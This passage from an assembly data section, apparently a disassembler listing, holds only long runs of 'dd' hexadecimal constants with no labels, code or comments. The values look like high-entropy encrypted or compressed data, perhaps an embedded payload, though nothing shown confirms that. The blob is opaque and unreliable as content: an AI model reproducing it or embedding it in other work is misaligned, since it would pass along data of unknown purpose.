0B2DF4220h, 89D6D61Ah, 0C5F6839Ch dd 0E464B70Bh, 437F966Ah, 0FB9F4786h, 296109BFh, 9CF25A09h dd 9CE2668h, 4F84158h, 81565792h, 3A8314BFh, 0A3D499BDh dd 6D3EC232h, 58874243h, 8C1639D8h, 5BB7BA4Ah, 0F1A4B26Dh dd 0ED219044h, 87D68E23h, 698975A6h, 7CF5410Ah, 230CCEF8h dd 0F7435E4h, 0C6ECE33Ah, 19750834h, 0B4114947h, 0A67D134Eh dd 0FB4FC840h, 9E9A0F18h, 9FE18F9Bh, 0D1981CB9h, 7871FC72h dd 73D715A8h, 67CE14AFh dd 8AA21B14h, 887011F1h, 0E03A7737h, 0FF05B279h, 0D1147399h dd 4330E1EFh, 538364BFh, 7BDA7458h, 0B4EDAA92h, 0CEEC55D6h dd 5EC2EB3Ch, 0DCDD386h, 662E54CBh, 5C2CFDEBh, 8E7871E3h dd 90435CBAh, 7C67736Fh, 0D62FC5DCh, 8236F701h, 2B6A4400h dd 635D0B7Fh, 0A220C6CEh, 956358F4h, 9B19D113h, 6AD26897h dd 7781EE41h, 2443C2DBh, 0AD0FC58Eh, 0F4CA9A9Fh, 9492DAE6h dd 0BDF9456Fh, 0C23DDDEDh, 2A46C364h, 20A25036h, 0E8BF5CC8h dd 803F3AC5h, 52F3CD4Ch, 0A4EF0B3Ah, 0B4DF30EEh, 0C0FF5139h dd 33BD2CCFh, 41CFF25Ah, 9B3D2A1Fh, 4F342EAAh, 73DED553h dd 0A73D1038h, 0B257A870h, 2857041Eh, 97F931A0h, 0FF2C378h dd 691E1E1Eh, 5BDC1EBDh, 0B2E556C4h, 8CE2BF7Eh, 0F71E4E09h dd 0AF7ECA8Bh, 1514A020h, 595AE9Ah, 0F5BDAE02h, 565407DAh dd 16C00D5Fh, 8370D700h, 0DC286145h, 0EB547274h, 5CA71C34h dd 74D45F5Eh, 0E36E8A93h, 0BBCC0905h, 451F5FE6h, 6A80973Dh dd 6CD93389h, 0B4ACB15Fh, 0E0EC8BFAh, 0CDCCC39Eh, 0FBBEF15Dh dd 0E00DB166h, 0B213853h, 0CA19A838h, 4786AB26h, 815ABD71h dd 9649B0C9h, 573F8CD9h, 98FBDDB7h, 0B6FBB63Ah, 4EA9A7Ah dd 0FCD68A5Bh, 1A201042h, 3E71802Fh, 7FF2C647h, 51601F38h dd 6BB9DD18h, 3074E146h, 0BB3D1871h, 93BBE4DBh, 144F3A13h dd 0AD480B90h, 0E2B21939h, 2B0ECDEFh, 0E5835AB4h, 0C143BB96h dd 0E08B2074h, 0CD6ACD3h, 0C62364E3h, 2560254Dh, 9EDB59BBh dd 0EA3996Eh, 896A6792h, 2E471B5Ch, 485938DAh, 0ACA9B226h dd 5F443B7Ch, 3BFD2D46h, 0E310273Bh, 1EB1DEDBh, 5653908Ah dd 0AFE9B041h, 5F2D649Eh, 271FD38Eh, 5B9E4BAh, 0EE1C18DDh dd 85B15D99h, 0A99A1273h, 0D5BB6E22h, 0C1A99670h, 0A8529A1Ch dd 0CADB12CCh, 0FE93A5C1h, 0DF89BD7Dh, 8F7AA768h, 3AD6D639h dd 0A427B51Fh, 0A6F58F4Bh, 4E594BAFh, 6E72FD02h, 78FD12DFh dd 0C79ED42Ah, 0B27DD64Bh, 0A093DCCBh, 6ECD48FBh, 0FAF0372h dd 265A1E23h, 8C4C391Ch, 83E3CC1Bh, 12D2443Ah, 5682B907h dd 91E3A93Ch, 0C4B742E1h, 0D476D5F1h, 41E4C036h, 0C85B57F1h dd 0E1F0A2Eh, 0A760B9B3h, 869704D5h, 38C4FCB5h, 0FCA3F362h dd 0C21F139Fh, 0F4539124h, 203AD559h, 50D05DDEh, 57D9E901h dd 142888D2h, 74961E66h, 0E347A4B3h, 0E63C78BDh, 0BF843E76h dd 0C22EFC84h, 80F739BBh, 0D914AF3Fh, 9FD96037h, 0DBF7ACDDh dd 0A1E08971h, 6C91273h, 0A02EF632h, 19A415F4h, 81B5E20Dh dd 34C9F49Eh, 0D82E61DAh, 0D76D6A11h, 0B2679466h, 15DDB03Bh dd 7A98E38Dh, 5294AF1Ah, 17155BF7h, 6FE3F124h, 9A518EC5h dd 0CD6E2916h, 726FF821h, 76A0E12Fh, 0DFE6ECA1h, 9EB6D7F0h dd 4D2934ADh, 893785F3h, 0B567892Eh, 0F63C35B3h, 9F5E8B6Bh dd 5E10BEF3h, 4E9F5106h, 0FD066CB5h, 0B30DCCC0h, 0D07C6873h dd 4BE626C8h, 8B5599D1h, 78A33ADDh, 33860433h, 0FBA7C8A2h dd 0EB3FA5F1h, 518BF0F1h, 576F51BAh, 0CB514E81h, 0E1281277h dd 0DAC187B2h, 0D318CB37h, 0B47A849Ch, 21E6B8Ah, 3E43ADDAh dd 4099C9EFh, 76059ED8h, 0F99574E9h, 9F11748Eh, 48257248h dd 6FA403EFh, 3CBB2C4Fh, 16BF46CBh, 0D8358C07h, 92A31CC8h dd 7C9908CBh, 0A84FD1E3h, 431E4934h, 0BBB6A737h, 509013C6h dd 3775553Fh, 0C15F09D2h, 649EA566h, 9A7EC4ACh, 74F6D1F9h dd 0B1FA6777h, 0C8230BCBh, 2E9E20B5h, 293B2C0Eh, 0A908CAA8h dd 2C0E973Eh, 0EA552905h, 43C38136h, 61F09B9Ch, 2F87963Bh dd 0DB171771h, 85B4E4FDh, 0A2553E9Ah, 0AF57D7F1h, 49C75733h dd 86CB0E49h, 0EF399D6Ah, 0EFF53A81h, 8308E3E5h, 9F58A0ECh dd 0F787E2ECh, 489C6913h, 2964DC90h, 0F2D72F05h, 0C97AAC28h dd 11951D20h, 0CD0F2DDCh, 0DF694983h, 54D779C6h, 77AF984Eh dd 6D777180h, 0C29EB85Dh, 0A4F0B235h, 0A8D593EEh, 99F71FB3h dd 69C88558h, 3EB3F414h, 49DF6ED0h, 0EFDBE341h, 0B1297108h dd 0EA63F802h, 0CBF4A8C8h, 0EBB5B392h, 0A9AAA556h, 0E3B1E610h dd 2ED4837Eh, 3C8654C6h, 53A0C895h, 151F93A8h, 449B1EC4h dd 0CE7D62EFh, 68B186E0h, 0C0EB71D8h, 0F55E211Bh, 8636B7EEh dd 0DF86CC65h, 0B9537634h, 0DE273875h, 2C52A290h, 0E08C8D3Fh dd 0A02B6DDFh, 32C95452h, 0DA3F1BFDh, 3D3BA16h, 0ACFB92C7h dd 3E9E0ED2h, 0D90A97DBh, 0F8969015h, 86D38545h, 2C7A2DBAh dd 3483F51Eh, 295E8AF9h, 4668E927h, 27DF02A6h, 0C720E961h dd 1F0632FCh, 87BD81C5h, 658F4C32h, 0FBC8D9DBh, 0DCDED9F6h dd 0DE4C0B75h, 696D3435h, 0B7C1578Fh, 842F3356h, 0A55F2741h dd 0BAE6BC29h, 70667CCEh, 0FA092F2h, 0B249EEE7h, 0C2DD4D24h dd 1BF89820h, 9B7F9426h, 0D84CF6BEh, 0BD56C490h, 0A66354FDh dd 0A9C41F53h, 486E0E01h, 0C18CA9D0h, 814351F2h, 16AB9399h dd 5B29FDE1h, 12876A05h, 0F4D832B8h, 5AEC8E35h, 0CE2495EBh dd 0FA4A3E7Dh, 41F00BA9h, 0FC005F58h, 0AEDDC2EEh, 123C1DEEh dd 26E6A17Fh, 0F974C515h, 5E8D4FF2h, 36007B7Ch, 79E52F44h dd 0E53D7182h, 1297FBDDh, 972EB4D0h, 5D268D02h, 0B02384EEh dd 8CBBB878h, 66ADCB4Eh, 5D43D9A7h, 6806009Dh, 5658BACEh dd 50DB164Eh, 0F8ED6BF0h, 0A388A0C7h, 0EC1CF8F5h, 2F05619Eh dd 0A76CCC3Ah, 0EC42028Bh, 6C80B81Dh, 886F29D6h, 54B79748h dd 70D5B6ACh, 0E89D6EE1h, 5D59CCBDh, 1B9747AFh, 0BBEA274Ah dd 0C30A0A4Dh, 0DA3D38E2h, 0B4260BF2h, 7095960Dh, 2950AAD4h dd 390E6FA1h, 0FAB39809h, 0DFCBD68Dh, 0A81F9E34h, 5729017Dh dd 0BCB342EEh, 5F32D4F7h, 5C635042h, 5451D71Eh, 30D92DD1h dd 0A749FADh, 0CD5AC6ACh, 0DE66690h, 0CFF5E692h, 0F70FE032h dd 0DBC1FE65h, 73C47941h, 4F1115A3h, 264A943Fh, 90F112EEh dd 0A433B7Ch, 0CD2663C4h, 96A71E68h, 38B96A91h, 0A7BAC794h dd 39A75926h, 0CABF72Eh, 0D6702C3Ch, 24A7D469h, 5D4E4FF5h dd 747DDCDBh, 31DDCA1Bh, 7082F784h, 6715C3EBh, 0FE9FAA56h dd 0DE4461D3h, 940813D6h, 0AA855C18h, 0A66AFA19h, 2ACC639Fh dd 0F1A54C04h, 0BF4B4B5Bh, 9FF96DDBh, 0A6C6608Dh, 3604B48Ah dd 0D4DB2010h, 0B01D9112h, 54C13E35h, 7512D455h, 30D601EAh dd 0B99BEBBCh, 41B8C0F4h, 65382D4Eh, 5543B61h, 6002D8B9h dd 77C20F7Bh, 486FBA41h, 0D9B9A8C2h, 3C8B8FCh, 0E4F7D565h dd 2F64555Eh, 82CDC607h, 0E83254B4h, 0A0BAFD03h, 98B68617h dd 33554AFAh, 0A5D2779Eh, 64E4B2DEh, 8D036607h, 0A526711Bh dd 7EE7C5F8h, 6845AFA3h, 69019459h, 3BF15FC5h, 8200854Ch dd 3B16A876h, 7FE81679h, 3B1A2DE3h, 0FBB13EDFh, 0E4753EEEh dd 0B7F16621h, 360FF12Ch, 0C9176521h, 0D5329D1Ch, 52D95E41h dd 9F17C74h, 0DD5DF288h, 6A8981A1h, 58826B42h, 29FFD5C3h dd 0B44CA17Ah, 707DFF5Ch, 0BDF99A82h, 45DBBA6Ah, 92C2ECBh dd 20A3995Ch, 2E82E250h, 0DD261096h, 0AF459ED0h, 8A3E4C15h dd 648DA79Fh, 0B1213D4Ch, 7F3BB003h, 4DE19929h, 0C05076CDh dd 81A9C3BBh, 5CC84FD9h, 1BC8D08Fh, 6424D2A6h, 6EA0138Ch dd 0E519D785h, 40FF235Ah, 99BDCF7Fh, 9C4ABFE7h, 3CE84D27h dd 544D5110h, 0ADB5C863h, 4AC243FAh, 55576F5Fh, 161CAC47h dd 45AB80E9h, 85D833C7h, 6749E105h, 644B29B2h, 0C1D9BB58h dd 39E4D26Ch, 75A74767h, 0D82953F9h, 0AF22216Ch, 2A148788h dd 200ECDDBh, 1C8AB377h dd 75D51770h, 9BA8E494h, 0E932E12Bh, 0A5403867h, 0DB0EC790h dd 1D57A05h, 0DE2EA7Ah, 0C395100Ah, 4CBB8C2h, 0F802D5CFh dd 225C893Dh, 0BCA5CEABh, 3D8BE133h, 134F999Ah, 0F9223336h dd 0DC16D725h, 0C91FBE97h, 0A9E6779Bh, 253E9BE5h, 0AA03C47Ah dd 7ED30F3Eh, 6B497786h, 0F472B13h, 26DB0D7Bh, 0F42B0F5h dd 5983C8FEh, 0B8831BD5h, 2A86ADA7h, 0F0F3E1EFh, 4122B65Bh dd 0C70A1F3Ah, 18DDB3A2h, 50746BE8h, 29C3A7B6h, 87878453h dd 0B858D91Bh, 9B8A6DF2h, 0AA65BC22h, 0BD0EC5E6h, 59027B6Ch dd 0FBE3ECA0h, 0E9796BFFh, 67002106h, 42C0DD91h, 0C3BBDA68h dd 0BA9061BBh, 0B5DE385Ch, 3941D462h, 0C65F25CCh, 0AC686B3Ah dd 0DB78947Ah, 9DD26F9Ah, 0B14947E2h, 9F26CBE4h, 115792DDh dd 87424E0Eh, 9007BC97h, 472F3417h, 0DB0108C9h, 0A54F439Bh dd 4B126641h, 57DFDB0Eh, 0A41F4CB8h, 0CDAD7FCCh, 0F766912Ah dd 0E156907Bh, 0EF8C6B2Ah, 375DD720h, 511FAB84h, 0F68F4C17h dd 384CA0A2h, 70354006h, 0AAF967A0h, 49FBCBBBh, 53901F08h dd 771A1FF9h, 534460Eh, 0EDCE8800h, 0DC561D95h, 4BA56191h dd 0A149D4BEh, 0B449EBB8h, 0D63BEFBEh, 7374E6E6h, 0F6ABC73Ah dd 1AC4CA7Ch, 0A98D91D1h, 0F5792AC4h, 579BCDBAh, 0FC0208BDh dd 9E0527D2h, 0CBD7562Bh, 0A63CC4D5h, 0E89794D5h, 84A84C30h dd 0F854493Ch, 7EBB276Ah, 0B9D19E1Fh, 51EF5343h, 9465B443h dd 91BEDA60h, 0C1A03EC2h, 0AD4D9151h, 46014BADh, 9AB47D36h dd 55F8DDCCh, 364D8324h, 6CBC50E5h, 2D3375A3h, 5EF0A3FCh dd 0E52C89Fh, 0AF41B227h, 0FD0FB447h, 8B5CA4C2h, 0C8E12DDFh dd 231BAE87h, 83E99E58h, 269B66B2h, 0CA870896h, 544A8237h dd 0AD5B233Bh, 2BBB821Ch, 0EFEBB916h, 7F082DC1h, 319762C9h dd 84877657h, 4B6E65C5h, 5BB9581Dh, 13B8D7Bh, 8D045DFDh dd 0B5834DC5h, 728CF4C6h, 9ED3C8B6h, 93F18C92h, 0B04367E8h dd 82669761h, 0D8672A09h, 0AF6DBA71h, 0A20EDA3Ch, 326DD9ACh dd 462AAB8Ch, 0A111D626h, 0CF6C9F5h, 4A1C42DEh, 5E788D8Eh dd 79468762h, 4B5A60EFh, 0AFFE8AA0h, 90457645h, 7E76CB17h dd 9D284346h, 762EEB14h, 477D4A4Eh, 7E7355Bh, 79AE6F5Ah dd 1B780A6Ch, 0A6795642h, 0DBB07FC7h, 0FD1DB135h, 143BB24Dh dd 0F04729F4h, 0BE13FA00h, 0E30EC250h, 756C5138h, 6CD90A69h dd 0CABEBF28h, 0C299A846h, 0AF05D781h, 49500762h, 0EEE745C2h dd 0DA08D48Dh, 4300A18Eh, 0A52D4344h, 0F2E29EF4h, 0DD4702A6h dd 6DCD0852h, 0EC367431h, 39FABF56h, 0F7F5735Bh, 0B61F424Eh dd 0D1D525ADh, 4E67FF20h, 0D7CD9273h, 11D8168h, 51BD8081h dd 5C522B61h, 61770696h, 0AD967AB9h, 3F709D6Fh, 0A04C6048h dd 5AAA73F3h, 71ADB755h, 0E6AE08E0h, 4A601088h, 0F79D9BF1h dd 0B74D248Eh, 0C3DE345Fh, 80ADF791h, 0B2556F0Dh, 4A1BB5CAh dd 57759AC1h, 0A6AB32BDh, 0E685E777h, 0EEB2524Ch, 48D34643h dd 17B4D9B4h, 0E0484656h, 8F86877h, 0DDB23D4Ch, 84114B01h dd 519CD636h, 7E4B41EDh, 36220E29h, 2DBF6F39h, 682523EFh dd 0C61B40E5h, 6C55BA6Ch, 0E86B3640h, 23A88E0Bh, 0BF49DF25h dd 0B96FA3FBh, 6EFBAA2Ah, 97E508E8h, 732CE10h, 0C9EC0B1Dh dd 7DB66C9Eh, 804A17F4h, 276A00B0h, 90C2FAD9h, 24917056h dd 2BDAFD4Ch, 0E2F22639h, 0EBE93C70h, 0D236C943h, 83CE5F61h dd 657DA57Dh, 8719E38Bh, 12A4344h, 4525EAAAh, 0C5BDE290h dd 55E627F8h, 2E751114h, 20EDB4E5h, 0F20EAF62h, 0AB5E6CB1h dd 1AC41AB3h, 0B906B1BAh, 64689DCCh, 5A54B85Ch, 6595FD85h dd 0DAC298B7h, 8CB28290h, 15F8BA76h, 83EE0D07h, 0AAA979DAh dd 0D1538CDh, 49D4689Eh, 0C2908AF0h, 3EADAED0h, 0D8272AFCh dd 0C4CC1412h, 7C9BB072h, 0DB76816Ah, 450369E8h, 0B6CCFC32h dd 0C2F95295h, 678BA410h, 39441CCBh, 0C99D10EBh, 20936DCh dd 0F5694CB2h, 685DE31Ah, 95B01686h, 59C5F74Ah, 0C2EFCFDAh dd 6382A201h, 7065385Bh, 5B8A69E5h, 40E61569h, 76DE9D4Fh dd 0F63BB200h, 6F5D6666h, 89554737h, 90F388E6h, 4E3BEF1h dd 0A5153DEBh, 3660F26Ah, 4D191BCCh, 0C119CC30h, 0DE9A5FFCh dd 0D526D393h, 3490492Dh, 96555B3Fh, 0FB30800Ah, 0A5C2DFF4h dd 82059D93h, 0FAEEB3AAh, 2082BF79h, 3C62F62h, 53BE1746h dd 0F05C5987h, 0C8E9EE58h, 71142B42h, 42860A4h, 0B32FABB6h dd 0F07806F8h, 4574901Ah, 0C913B6EBh, 0AF24D868h, 7076FE6h dd 0D8A5A93Bh, 20697098h, 0A7B596E0h, 89D83343h, 85AB9951h dd 7D59D1B5h, 0A05BD636h, 8A2F806Ch, 9D80326Fh, 1835BE75h dd 3BAEFE3h, 4D2406EDh, 9D6E7AA9h, 0A34C0203h, 4FEDFF91h dd 6DE362EEh, 0A05DF507h, 50F4E6C1h, 70CAA9C0h, 0D4EAD82h dd 0BC732714h, 0E31C064Eh, 4FC6E4A0h, 150EB575h, 515417CFh dd 71F90F01h, 23FBE1B4h, 0DACFDD19h, 55E9555Eh, 0CC8FF417h dd 50643814h, 8279D94Ch, 5F48C032h, 0F6D20D91h, 965CC02Ah dd 111793FDh, 0E2DFE8Ah, 989D2602h, 0A5CB77FDh, 0C26E04A1h dd 0FA33A366h, 0FECE8007h, 0CFAD370h, 9750D06Fh, 0E8AD0915h dd 65AFDDA0h, 0CCE8B27Fh, 55E179D5h, 89D4DA4Dh, 42F166D8h dd 0C2D6300Eh, 79F06ED5h, 345388F6h, 99DBFED3h, 0B5F10733h dd 0CF66DF4Ah, 0CEE70DFBh, 4E817771h, 2B575750h, 0A038F682h dd 0AD93F04Ah, 0A6B5B48Eh, 17537CAAh, 9053E32Ch, 8C9B7A9h dd 0BDED5F1Fh, 15A7D99Fh, 27669031h, 4EE1712Eh, 5954F30Dh dd 95D4EC3Ah, 0AE41800Eh, 0F216B4CAh, 4883F66Bh, 96CE8B6h dd 6A233E3Dh, 0BEB7428h, 43B6B33h, 1EADB752h, 0BA2DE8B8h dd 1C72C1h, 1BD5D704h, 0D942406Bh, 9B81860Bh, 3AE7EDEEh dd 0F03BA3ACh, 6C3FEE4h, 284E1h, 0C2DA045Dh, 660388D7h dd 0D5702500h, 0B730486Eh, 0E8773722h, 0BB5800FEh, 0F5EE5050h dd 9142EC57h, 0D746B49Ah, 3BE494BEh, 58751DC5h, 86189758h dd 0E6DB85C2h, 0D8B16B60h, 42E7C065h, 43918E0Bh, 0D761BDFAh dd 1CB0EEB1h, 0E722E3D4h, 0A837D12h, 0B7AF0D3Fh, 0C8E359A7h dd 78E8123Eh, 0F1AD838Eh, 247E0F33h, 5288F050h, 0B7A4E724h dd 0F277DBF4h, 0A7776CDDh, 0EAD5F5B5h, 1CAA190Eh, 897EF37Dh dd 87313C07h, 97960FA4h, 0B6B61B3Ch, 5F32A1A0h, 85C9C66Ch dd 47E29D92h, 275700A7h, 0CA708E08h, 0DA18E760h, 0FF9467Ch dd 47ABC72Dh, 99034603h, 6E3F260Bh, 366BBC84h, 4A74EC11h dd 0B9162637h, 970ABDB8h, 516A2A24h, 94BB4142h, 0A3CDA2E9h dd 35D79BA4h, 0A0ED6D39h, 0D3CB49A5h, 0AB52355Dh, 0A2AC2A74h dd 0BA13C442h, 2C8091FDh, 0E5F95E29h, 0A6C89452h, 5CD2C947h dd 770CE8C5h, 12A8AD2Ch, 0B3E5BAh, 1792B0B3h, 78430C11h dd 27651D51h, 2D190FAEh, 0B9C896h, 4CB340F1h, 80A20480h dd 95F63D86h, 0B9D94F1Ah, 595A4492h, 4C39FCA5h, 7998A560h dd 2541B046h, 0A83A8A35h, 75CA645Fh, 0BEC3B257h, 750707B7h dd 862A0AECh, 0CD89DA29h, 0CC2C0452h, 983CF6DBh, 0A03C5817h dd 801B5F54h, 775E499Ah, 4C88A106h, 9516A661h, 0F5753DA9h dd 0EF4815F4h, 3A70DF90h, 0B11E9BF3h, 4033F994h, 1D17EC01h dd 9F68B21Dh, 0BA44928Ah, 454DD6F2h, 9AAEF606h, 0D8AFD802h dd 0B12148E4h, 4052064Ch, 0C6A2B375h, 82D8B9C5h, 2314D858h dd 0EA290467h, 32E3A475h, 3856D211h, 309B70E3h, 7B6BED24h dd 0B6973FF1h, 8514DBF8h dd 14211EB9h, 8A8B7547h, 0D6B31832h, 0D422644Eh, 0DBBC357Ah dd 0ED703419h, 2348F67Dh, 524AFB01h, 243CCF8Fh, 25412674h dd 0FB4DD7CFh, 0D61F9ABAh, 0EA31F56h, 0A1897030h, 57B4BE74h dd 3D53919Eh, 443D3CEAh, 86E42CDAh, 41BFD29h, 0D2FD1EEDh dd 0FD18ED53h, 8C93EAE5h, 64882E1Fh, 0C9EBF9D6h, 0A9B4FA76h dd 0FDD90432h, 0C566F86Dh, 51D37315h, 1CB15394h, 4A052672h dd 66DDC0D2h, 0DC44FE20h, 650700D5h, 0EF572F1h, 5D5A91AFh dd 1A50454Ch, 65FBCB01h, 51DA8B99h, 0EBE3784Bh, 4A7E0640h dd 2A6C94C9h, 5ABC1D89h, 0F67A8BB7h, 0D7F602F7h, 48AA4DACh dd 0EFC7CAD0h, 2EAEEFD8h, 7E4B6EA0h, 0DB5118E1h, 8DFACC20h dd 0A8C2E69Eh, 2A813D1Ch, 0F2788EE0h, 0F6D47055h, 0C8716FF9h dd 0ECC9838h, 0E3018601h, 82001F41h, 0D47579D6h, 0C071C252h dd 7100D334h, 814C9CE8h, 3052C117h, 0B7EC058h, 476779E1h dd 0F733C2E6h, 25A62402h, 0DC73BF11h, 71BE717Eh, 0EF7E67AFh dd 0A36BF274h, 2FD571CFh, 0B0757DDBh, 91AF8AA1h, 768223BFh dd 4F895A86h, 20492651h, 2F50D3F6h, 52790C60h, 7DDE8E70h dd 6915195Ch, 0C7C4C869h, 50F6560Ah, 9145ECB1h, 0BEEB343Dh dd 2BA0C6A6h, 3CDB874h, 0FA738CC9h, 2B2A10E3h, 16BB21AAh dd 5C7AE55h, 1887A8BEh, 94B1C7D3h, 9A0FBA67h, 25A1169Bh dd 247183F0h, 0D11E33Dh, 1923E2B1h, 68469236h, 7EBDD31Ch dd 65D6CB83h, 436E4412h, 26EB7665h, 5748F4A6h, 0B548F3F1h dd 0EFFF0589h, 0B0130A77h, 0D52D458Bh, 0CD7719E3h, 4AA8A6F0h dd 0D7AEBB2Bh, 0D1A2EADCh, 5575A341h, 0D38DDBC2h, 3F88264Fh dd 9BA86822h, 75FD52F5h, 0BBCA0793h, 0DE796EC4h, 0E9B61639h dd 4F7DF5EEh, 7B9039A4h, 264C6ECAh, 0C3858A99h, 544D3A23h dd 667B9F77h, 3E2E6424h, 0BBDF80FEh, 3AFC3BABh, 5834EB95h dd 4EA7CF60h, 0D01FF22Ah, 0FD2489C0h, 0FE66332Dh, 7E11B4D0h dd 729C0454h, 0A06AA966h, 7067BD78h, 0CFAAC9C0h, 0A2634F57h dd 5E917469h, 0D4DF26D3h, 8AE4E398h, 0E688B1A8h, 100214D2h dd 82D2DF3Fh, 0FB088CF6h, 0D8FA80CFh, 0AB16DA2Ch, 66D8F048h dd 146F8F2Ch, 750C44C8h, 0C14A88Fh, 68999F74h, 10090566h dd 44806087h, 0DE9DEA1Ch, 0CB25F224h, 1280D687h, 1C0411DEh dd 745110EBh, 0F4612398h, 4A22E45Dh, 0D4FCF28Ch, 6621E99Ah dd 49ECD970h, 2CCACA10h, 13B9E92Fh, 512C56F5h, 893B2A90h dd 9DEE6AB5h, 8C57283h, 91B5A59Ah, 8A653688h, 0AB42D8FDh dd 4CD87BB2h, 30D5ED02h, 5C56028Dh, 4D7C11A2h, 7720169Dh dd 5056F2ADh, 3FCEA048h, 621C4E38h, 437FC837h, 0FAEF3CC8h dd 0E97ADA06h, 0AC0CFD1Bh, 5CDCFF32h, 9C81E839h, 0E0CA7356h dd 91CD4510h, 12BB63BBh, 0A29C18DDh, 1393D4C3h, 45247A42h dd 6F9C5AE6h, 0FB19965Ch, 0AF753281h, 554DC143h, 0EFFE6E87h dd 5A2DCA5Bh, 14B29896h, 0E9AF927Bh, 0CB9748A7h, 1F2B235Eh dd 228C8FF7h, 31C89021h, 332614F1h, 4E3E6DE8h, 8B289365h dd 5C65489Dh, 3C42252h, 9BA8988h, 0C32BA08Fh, 0F430EE1h dd 0CCC07C06h, 0AAF564Fh, 0D718CBFCh, 25C5EE12h, 485A2151h dd 4CA9CA62h, 9E2D417Dh, 35444A90h, 6E74B667h, 0BC5EE4BAh dd 0ADFF119Ah, 1416F6D6h, 71927429h, 0A238A8BCh, 1E0103DEh dd 0A9B3C81Fh, 17BA0B5Fh, 0EE12643Ch, 5D8DAA71h, 27E1B7F7h dd 0EAC7EF0Bh, 0AA4F2A61h, 0DE451F91h, 0DCE9AC14h, 2C81684Ch dd 7AD9E8E2h, 0F95FAEF4h, 515AE440h, 98F7E38Eh, 3837FFB9h dd 7EB912B5h, 0ECF82864h, 6B9763BCh, 2CF4819h, 63FDF71Dh dd 65ADEEBh, 0E86C61E3h, 0C1C7AA66h, 0F6507A2Dh, 0CFFC954Ch dd 9C52B9FEh, 3FB87B7h, 2525D862h, 0FC24EFBFh, 76C5F590h dd 0D64EE62Fh, 39289649h, 3D8072F2h, 751C92AEh, 0D65FAABBh dd 9EC6A2E7h, 0F2FE480Dh, 95E9CB6Ch, 2F26F2DBh, 36697272h dd 1D286AF3h, 0E3EDAF39h, 0C54F550Dh, 66A7B092h, 0BDF22A03h dd 0A427FD12h, 249D777Fh, 0ABABACD2h, 0EDBF76EBh, 77FB6D3Ch dd 0F165CD8Bh, 21FC1484h, 0FE9277B5h, 6D745A50h, 54483C7Ah dd 0B692AACAh, 1480B3CDh, 0E1AC07D3h, 0AEE4B8C3h, 0EA81CE57h dd 7AA163F9h, 0AE61CBB1h, 266CE7CFh, 0D92E6E34h, 4F9A4E65h dd 0A63238F1h, 740659D0h, 0E99DA70Ch, 0C8B503DFh, 15E7D35Fh dd 9D4915D1h, 0D3C4BC0Ch, 4010BC1Bh, 0FC79D30Fh, 13619D39h dd 4D44E920h, 5D87933Bh, 1B607FAh, 0D2D1BFC8h, 234EAD41h dd 97F32A93h, 0D9C0A75Eh, 0D1FC0B7h, 1DE79A5Ch, 2F97E803h dd 8DB6BC36h, 0A1FF6AEFh, 2E9B0D24h, 6BA4291Ch, 4A2DC681h dd 583D7C2h, 0B583FDC8h, 43EC42B5h, 9E0B29CCh, 0A19198CBh dd 3D87C4F5h, 870525F6h, 44C045C4h, 8417959Dh, 0A4C7949Fh dd 0C6CC7E30h, 41064FDAh, 7F33725Bh, 0FCB03A2h, 0C94DC951h dd 704F7600h, 526B705Dh, 400ECC81h, 3AFA276Ch, 0DD92BEC3h dd 7314F1D2h, 8A6EE36Bh, 1E4978E2h, 0F526850h, 9B15B97Eh dd 0B1F71FE5h, 0BC9D35E1h, 34179BF1h, 0D0FDAA1Dh, 0D27888E1h dd 8CF0F839h, 6F9C12A4h, 0DB4A7850h, 804C4234h, 5B3934F3h dd 0D9C8903Ah, 0AE42979Ah, 0F53D1341h, 19DCC14Bh, 4D845D23h dd 0B7678300h, 0D4910061h, 776BC3A3h, 3EEF0C7Eh, 6262593Bh dd 1B017F7Dh, 0E223F0C2h, 41B5A43Ch, 5DB5F3B5h, 0CEC3E01Eh dd 0F819E03Dh, 72D22C96h, 25FBD3D8h, 0E721F5C9h, 0CF1A7AD8h dd 270CDB06h, 5C2FFD4Ch, 0CAA648A3h, 2FE28109h, 2EC0EE8Dh dd 0F88E879Ch, 0A62712ADh, 6A0AA911h, 9FE5DF77h, 0C1E89A48h dd 92E33D87h, 58E2DFAh, 0A1316C00h, 0DB7270A6h, 0AD166D79h dd 1A92ED14h, 0C59203E7h, 79B0C1DDh, 0D9801706h, 80D68406h dd 3E8788F2h, 0E9332979h, 0C47C9839h, 0BECD0596h, 4BE3DBCEh dd 0D8FA747Ch, 0CF168D28h, 40789AF4h, 0C2AA942Dh, 0A6B3148h dd 81A01487h, 0B049AAB7h, 14A86BF0h, 0BD637554h, 0ECF168A0h dd 2B8DE72Bh, 124873A3h, 779D79Eh, 6DEA0302h, 25338C26h dd 0EACA36Bh, 1E30C9EFh, 8697B899h, 5B170C32h, 629B82DDh dd 75101B5Fh, 19B0338Dh, 0F55146FCh, 4EF6A36Eh, 432E3FC0h dd 315DB479h, 459B4D96h, 0F3957C15h, 0FADA27E5h, 4DEB8B4Eh dd 0A48E189h, 12C08CD8h, 0EED627D6h, 3D308844h, 0CEE90E9Bh dd 0E00DE55Bh, 91FEA02Ch, 2722DFCEh, 0DEEBF79Eh, 97F1CE00h dd 0EE8F60B8h, 0FC046600h, 2808874Eh, 0DA31ECCFh, 383E33h dd 9A365F05h, 0DED02284h, 7B7B6FB1h, 849D0276h, 127737DFh dd 50F4C50Dh, 0B71AD80Dh, 634BBC73h, 0AB68A830h, 108A3EFAh dd 8E21EEF5h, 8F83798Dh, 0E3B6F6A6h, 0D555308Dh, 0CF50C76Fh dd 6E2A5371h, 74198311h, 69D33E72h, 0DE5EE416h, 0C401722Fh dd 0EC118FD0h, 0AD00EDB8h, 3372494Dh, 32FC5EE2h, 6872813Bh dd 78F3D30Ch, 18B9EB7h, 0AA63D5AEh, 0A33DE6D7h, 0A2C2B0C7h dd 0CCA5F719h, 0F03AF2C5h, 656EF4C2h, 0CDD8B000h, 264C289h dd 57BEAAD1h, 484ED975h, 8396690Bh, 9C930048h, 0C6DD8115h dd 8D00C193h, 389E310Ah, 62E0D195h, 355C058Eh, 1B631047h dd 3D63450Ah, 0CC4D18E3h, 0A1A18995h, 166C719Eh, 0B1D3F855h dd 2A6003h, 39EFA6E4h, 0EEB9B0EDh, 0C72D1C1Eh, 7F1748C5h dd 1566A0CDh, 0C58E4EF4h, 7CEA46FCh, 7AF54324h, 1E165814h dd 0C474B8F6h, 604E9581h, 200DD471h, 0AA7D0751h, 0B011C84Fh dd 0D59BCD0Ch, 0A8677E6h dd 83E73584h, 7655CD3Fh, 29FC1619h, 477BCC15h, 0CFB3FC95h dd 6A3217ECh, 90DCB66Ch, 24085C11h, 5F1722C3h, 